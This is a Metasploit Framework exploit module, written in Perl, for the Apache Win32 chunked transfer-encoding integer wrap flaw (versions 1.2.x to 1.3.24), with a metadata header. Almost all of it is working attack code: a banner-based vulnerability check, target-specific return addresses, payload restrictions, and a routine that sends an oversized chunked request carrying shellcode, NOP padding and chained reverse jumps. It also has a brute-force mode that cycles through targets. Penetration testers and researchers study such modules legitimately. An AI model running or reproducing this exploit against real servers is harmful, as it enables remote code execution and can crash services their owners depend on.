Name: Apache Win32 Chunked Encoding
Version: 1.36
Targeting: win32, win2000, winnt, win2003, winxp / x86
Privileges: Yes
Author: H D Moore <hdm [at] metasploit.com>
Targets:
0 - Windows Generic Bruteforce
1 - Oracle 8i Apache 1.3.12
2 - Apache.org Build 1.3.9->1.3.19
3 - Apache.org Build 1.3.22/1.3.24
4 - Apache.org Build 1.3.19/1.3.24
5 - Apache.org Build 1.3.22
Options:
SSL - Use SSL
RHOST - The target address
RPORT - The target port
Payload Info:
Room for 987 bytes of payload
Restricted bytes: 0x00 0x2b 0x26 0x3d 0x25 0x0a 0x0d 0x20
Description: This module exploits the chunked transfer integer wrap vulnerability in Apache version 1.2.x to 1.3.24. This particular module has been tested with all versions of the official Win32 build between 1.3.9 and 1.3.24. Additionally, it should work against most co-branded and bundled versions of Apache (Oracle 9i, IBM HTTPD, etc).You will need to use the Check() functionality to determine the exact target version prior to launching the exploit. The version of Apache bundled with Oracle will not automatically restart, so if you use the wrong target value, the server will crash and nobody wins.
References:
http://www.osvdb.org/838
http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html
exploits:
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::apache_chunked_win32;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $info =
{
'Name' => 'Apache Win32 Chunked Encoding',
'Version' => '$Revision: 1.36 $',
'Authors' => [ 'H D Moore <hdm [at] metasploit.com>', ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winnt', 'win2003', 'winxp' ],
'Priv' => 1,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Payload' =>
{
'Space' => 987,
'MinNops' => 200,
'BadChars' => "\x00+&=%\x0a\x0d\x20",
'Keys' => ['+ws2ord'],
# sub esp, 4097 + inc esp makes stack happy
'Prepend' => "\x81\xc4\xff\xef\xff\xff\x44",
},
'Description' => Pex::Text::Freeform(qq{
This module exploits the chunked transfer integer wrap vulnerability
in Apache version 1.2.x to 1.3.24. This particular module has been
tested with all versions of the official Win32 build between 1.3.9 and
1.3.24. Additionally, it should work against most co-branded and bundled
versions of Apache (Oracle 9i, IBM HTTPD, etc).
You will need to use the Check() functionality to determine the exact target
version prior to launching the exploit. The version of Apache bundled with
Oracle will not automatically restart, so if you use the wrong target value,
the server will crash and nobody wins.
}),
'Refs' =>
[
['OSVDB', 838],
['URL', 'http://lists.insecure.org/lists/bugtraq/2002/Jun/0184.html'],
],
# All return addresses are pop/pop/ret's...
'Targets' =>
[
['Windows Generic Bruteforce'],
# Oracle HTTPD: (one shot)
# Apache/1.3.12 (Win32) ApacheJServ/1.1 mod_ssl/2.6.4 OpenSSL/0.9.5a mod_perl/1.22
['Oracle 8i Apache 1.3.12', 0x1001642c, [3] ],
# Official Apache.org Win32 Builds
['Apache.org Build 1.3.9->1.3.19', 0x00401151, [1,2,3,0] ],
['Apache.org Build 1.3.22/1.3.24', 0x00401141, [3,1,2,0] ],
['Apache.org Build 1.3.19/1.3.24', 0x6ff6548d, [1,3,2,0] ],
['Apache.org Build 1.3.22', 0x6ff762ac, [1,3,2,0] ],
# Operating systems (non-functional still)
#['Windows 2000 English', 0x75022ac4, [3,1,2,0] ], # ws2help.dll
#['Windows XP English SP0/SP1', 0x71aa32ad, [3,1,2,0] ], # ws2help.dll
#['Windows NT 4.0 SP4/SP5/SP6', 0x77681799, [3,1,2,0] ], # ws2help.dll
# SEH protection breaks these return addresses...
# ['Windows XP English SP2', 0x71aa260d, [1,3,2,0] ], # ws2help.dll
# ['Windows 2003 English SP0', 0x71bf34d4, [1,3,2,0] ], # ws2help.dll
],
'Keys' => ['apache'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info}, @_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return $self->CheckCode('Connect');
}
$s->Send("GET / HTTP/1.0\r\n\r\n");
my $res = $s->Recv(-1, 5);
$s->Close();
if (! $res) {
$self->PrintLine("[*] No response to request");
return $self->CheckCode('Generic');
}
if ($res =~ m/^Server:([^\n]+)/sm) {
my $svr = $1;
$svr =~ s/(^\s+|\r|\s+$)//g;
# These signatures were taken from the apache_chunked._encoding.nasl Nessus plugin
if ($svr =~ /IBM_HTTP_SERVER\/1\.3\.(19\.[3-9]|2[0-9]\.)/) {
$self->PrintLine("[*] IBM backported the patch, this system is not vulnerable");
return $self->CheckCode('Safe');
}
elsif ( $svr =~ /Apache(-AdvancedExtranetServer)?\/(1\.([0-2]\.[0-9]|3\.([0-9][^0-9]|[0-1][0-9]|2[0-5]))|2\.0.([0-9][^0-9]|[0-2][0-9]|3[0-8]))/) {
$self->PrintLine("[*] Vulnerable server '$svr'");
return $self->CheckCode('Appears');
}
$self->PrintLine("[*] Server is probably not vulnerable '$svr'");
return $self->CheckCode('Safe');
}
# Return true if there is no server banner
$self->PrintLine("[*] No server banner was found in the HTTP headers");
return $self->CheckCode('Unknown');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my @targets;
my @offsets;
my $pad;
if (! $self->InitNops(16)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
# Brute force everything :-)
if ($target_idx == 0) {
@targets = @{$self->Targets};
shift(@targets);
} else {
@targets = ( $self->Targets->[ $target_idx ] );
}
foreach my $target (@targets) {
foreach my $pad (@{ $target->[2] }) {
my $request;
$request = "GET / HTTP/1.1\r\n";
$request .= "Host: $target_host:$target_port\r\n";
$request .= "Transfer-Encoding: CHUNKED\r\n";
$request .= "\r\n";
my $fatality = $self->MakeNops(6) ."\xe9". pack('V', -964) ."pP";
my $pattern = Pex::Text::AlphaNumText(4000) .$shellcode.$fatality. Pex::Text::AlphaNumText($pad);
# Move slightly further back to allow padding changes
$pattern .= "\xeb\xf0\x90\x90";
$pattern .= pack('V', $target->[1]);
# Create a chain of return addresses and reverse jumps
for (2 .. 256) {
$pattern .= "\xeb\xf6\x90\x90";
$pattern .= pack('V', $target->[1]);
}
$request .= "FFFFFFF0 ". $pattern;
##
# Regardless of what return we hit, execution jumps backwards to the shellcode:
# _______________ _______________ ___________
# _________ _____________ | ________ | | ______ | | ______
# v | v | v v | | v v | | v v |
# [shellcode] [jmp -964] [pad] [jmp -16] [ret] [jmp -8] [ret] [jmp -8] [ret]
##
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine("[*] Trying to exploit ". $target->[0] ." [ " . sprintf("0x%.8x", $target->[1]) ."/$pad ]");
$s->Send($request);
$self->Handler($s);
$s->Close();
# Give the process time to restart itself...
sleep(2);
}
}
return;
}
1;